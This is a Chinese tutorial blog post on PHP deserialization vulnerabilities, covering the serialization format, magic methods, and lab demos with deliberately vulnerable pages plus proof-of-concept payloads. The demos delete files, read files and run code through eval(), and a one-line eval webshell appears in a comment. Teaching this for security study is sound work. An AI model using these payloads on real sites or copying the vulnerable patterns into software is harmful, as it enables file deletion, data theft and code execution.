天天看點

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

PHP反序列化漏洞

1.産生背景

反序列化漏洞第一次衆人皆知在2015年11月6日,最初出現在JAVA語言中,FoxGlove Security安全團隊的Breenmachine發表了一篇部落格,裡面詳細闡述了利用JAVA反序列化和Apache Commons Collections類庫實作遠端指令執行的真實案例,之後圍繞着反序列化漏洞事件層出不窮,同時也出現在其他的語言中。

2.序列化與反序列化

在百度百科詞條解釋中,序列化 (Serialization) 是将對象的狀态資訊轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象将其目前狀态寫入到臨時或持久性存儲區。以後,可以通過從存儲區中讀取或反序列化對象的狀态,重新建立該對象。

反序列化(Unserialization) 是與序列化的反過程,是将存儲區的序列化的對象資訊,文本結構,轉換為原來的變量。

  • 意義:序列化與反序列化可以輕松的存儲和傳輸資料,我們可以把對象序列化為不同的格式,JSON、XML、二進制、SOAP等,不同的格式是為了适應不同的業務需求
  • 什麼時候使用序列化?

    1.将記憶體中的類寫入檔案或者資料庫中

    2.遞歸儲存對象引用的每個對象資料

    3.分布式對象

    4.統一對檔案、對象、資料儲存和傳輸

3.PHP的序列化與反序列化

  • PHP序列化函數為Serialize,将對象轉換為字元串儲存對象的變量及變量值。
  • PHP的反序列化函數為unserialize,将序列化後的字元串轉換為對象。

先看一個簡單的PHP代碼

//1.php
<?php
	class student //建立一個student類
	{
		public $name=''; //定義公有變量
		public $age=''; //定義公有變量
		public function talk() //定義公有函數
		{
			echo 'I am '.$this->name.', '.$this->age.' years old !</br>';
		}
	}
	$pr=new student(); //建立對象
	$pr->name='BYF'; //對象賦初值
	$pr->age='20'; //對象賦初值
	$pr->talk(); //調用公有函數
?>
           

執行結果

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

(1).序列化操作

将對象進行序列化操作,輸出

//1.php+
$ser=serialize($pr);
echo $ser;
           
PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

如上所示為PHP序列化函數,将對象序列化後的形成的字元串

序列化字元串解析:

  • O: 對象辨別
  • 7: 表示該對象的字元串長度
  • student: 對象
  • 2:{} : 表示該對象有兩個變量,在{}中定義。
  • s: 第一個變量名辨別
  • 4: 第一個變量名字元串長度
  • name: 第一個變量名
  • s: 第一個變量辨別
  • 3: 第一個變量字元串長度
  • BYF: 第一個變量的值
  • s: 第二個變量名辨別
  • 3: 第二個變量名字元串長度
  • age: 第二個變量名
  • s: 第二個變量辨別
  • 2: 第二個變量字元串長度
  • 20: 第二個變量的值

(2).反序列化操作

注:在反序列化操作中可以重新定義變量的值

//1.php++
	$unser=unserialize($ser); //将序列化後形成的字元串發序列化
	$unser->name='bianyufei'; //反序列化時可進行重新指派操作
	$unser->talk(); //調用公有函數
           

反序列化結果

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

4.PHP的魔法函數(析構函數)

PHP中有一些函數可以在腳本的任何地方執行,且不需要聲明就可以調用,但是存在觸發條件,這類函數就被稱為PHP 魔法函數。

下面是與PHP序列化(反序列化)有關的魔法函數。

__construct() 當一個對象建立時被調用
__destruct() 當對象被銷毀時觸發
__wakeup() 當使用unserialize函數時被觸發
__sleep() 當使用serialize函數時被觸發
__toString() 把類當做字元串使用時觸發
__call() 在對象上下文中調用不可通路的方法時觸發
__callStatic() 在靜态上下文中調用不可通路的方法時觸發
__get() 用于從不可通路的屬性讀取資料
__set() 用于将資料寫入不可通路的屬性
__isset() 在不可通路的屬性上調用isset()或者empty()觸發
__unset() 在不可通路的屬性上使用unset()時觸發
__invoke() 當腳本嘗試将對象調用為函數時觸發
           

由于序列化不會傳遞函數中定義的操作,隻傳值,是以在自定義函數無法利用。

但是魔法函數是可以自動執行的,當類中定義了魔法函數時,且對象中存在觸發條件,我們就有機可乘。

5.反序列化漏洞

PHP反序列化漏洞,是我們在使用

unserialize()

函數進行反序列化時,當反序列化對象中存在一些我們可以利用魔法函數,且傳入的變量是可控的,那麼就可能觸發這個魔法函數,來執行我們想要的過程。

(1).原理demo

__destruct()函數: 在對象被銷毀時執行該函數

//原理demo
<?php
class demo
{
    	public $a='demo';
     	function  __destruct()
      {
      echo $this->a;
      echo '</br>';
     	}
}
$ob= new demo();
echo serialize($ob).'</br>';
$test= $_GET['id']; 
unserialize($test);
?>        
           
  • payload

    demo通過GET方式傳值

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

我們可以看到當,建立對象之後,沒有調用該__destruct()函數,該函數也自動執行,也就是serialize()函數和unserialize()函數銷毀了對象,觸發了魔法函數的執行。

(2).demo1-删除

unlink() 函數: 删除檔案,若成功,則傳回 true,失敗則傳回 false。

dirname() 函數: 傳回路徑中的目錄部分

dirname(__FILE__)函數

:表示目前檔案絕對路徑

//2.php
<?php
class delete
{
	public $filename='error';
	function __destruct()
	{
		echo $this->filename." was deleted.</br>" 
		//UPLINK函數是删除檔案,dirname函數輸出路徑
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
?>
           

在3.php中包含了2.php,當unserialize()函數執行時,觸發了2.php中的 __destruct() 函數,執行了删除檔案的操作。

//3.php
<?php
include '2.php'
class student
{
	public $name='';
	public $age='';
	public function information()
	{
		echo 'student:'.$this->name.'is'.$this->age.'years old.</br>';
	}
$zs=unserialize($_GET['id']); 
//$zs變量并不是student類的對象,是以并沒有必要通過GET傳入的值為兩個變量的形式,隻要存在該反序列化操作,就可以觸發2.php中的魔法函數
}
?>
           

構造payload

//POC.php
<?php
//複制delete類序列化内容
class delete
{
	public $filename='error';
}
$x= new delete(); //建立對象
echo serialize($x).'</br>';
?>
           

下圖為POC.php執行後形成的序列化的值

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

将該值複制後通過GET傳入3.php,通過unserialize()函數銷毀對象觸發了 2.php中的 __destruct()函數中定義的删除檔案的操作。

注: 由于在3.php中,student類為2個公有變量,且需自定義filename為要删除的檔案名,在此處可以自己定義修改序列化的值。

如下所示

可以自定義要删除的檔案為muma.txt

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

(3).demo2-讀檔案

__toString()函數: 把類當做字元串使用時觸發,也就是使用echo列印對象時觸發該函數。

file_get_contents()函數: 将一個檔案讀入一個字元串中

//4.php
<?php
  class read
	{
  	public $filename = 'error';
    function __toString()
    {  
      //file_get_contents()函數是把檔案内容賦予一個變量,通過return
      return file_get_contents($this->filename);
    }
	}
?>
           

在5.php中包含了4.php,5.php中unserialize()函數執行後賦給一個變量,當該變量被列印輸出時,觸發了4.php中的 __toString()函數

//5.php
<?php
  include '4.php';
	class student
  {
   public $name='BYF';
   public $age='20';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
echo $zs;
?>
           

構造payload

//poc2.php
<?php
	class read
	{
		public $filename='error';
	}
$byf=new read();
$byf->filename='hello.txt';
echo serialize($byf);
?>
           

下圖為POC2.php執行後形成的序列化的值

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

将該值複制後通過GET傳入5.php,通過unserialize()函數反序列化後将值重新賦給一個變量,echo列印輸出, 觸發了 4.php中的 __toString()函數 中定義的讀檔案的操作。

首先我們先建立一個hello.txt文檔

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞
PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

(4).demo3-普通方法漏洞

在調用問題中産生的漏洞,eval()為危險函數,将()内的值做為指令執行

//6.php <?php @eval($_POST['a']);?> a='phpinfo()'
<?php
	class a
	{
		public $varr;
		function __destruct()
		{
			$this->varr->evaltest();
		}
	}
	class b
	{
		public $str;
		function evaltest()
		{
			eval($this->str); //危險函數
		}
	}
	unserialize($_GET['id']);
?>
           
//poc3.php
<?php
	class a
	{
		public $varr='new b()';
	}
	class b
	{
		public $str='phpinfo()';
	}
	$x=new a();
	echo serialize($x).'</br>';
	$y=new b();
	echo serialize($y);
?>
           

poc3.php運作結果如下圖

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

原理分析

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞

原理分析清楚了,還要進行觸發操作,在poc中定義了unserialize()反序列化函數,可以觸發a類中的 __destruct()函數 ,通過GET傳參。

我們需将poc中序列化後形成的字元串進行變化,将varr定義為b類的對象

O:1:"a":1:{s:4:"varr";s:7:"new b()";}
O:1:"b":1:{s:3:"str";s:9:"phpinfo()";}
           

轉化為

通過GET傳遞,得到phpinfo()的執行結果,擷取到了php版本資訊

PHP反序列化漏洞原理概述-FIRSTPHP反序列化漏洞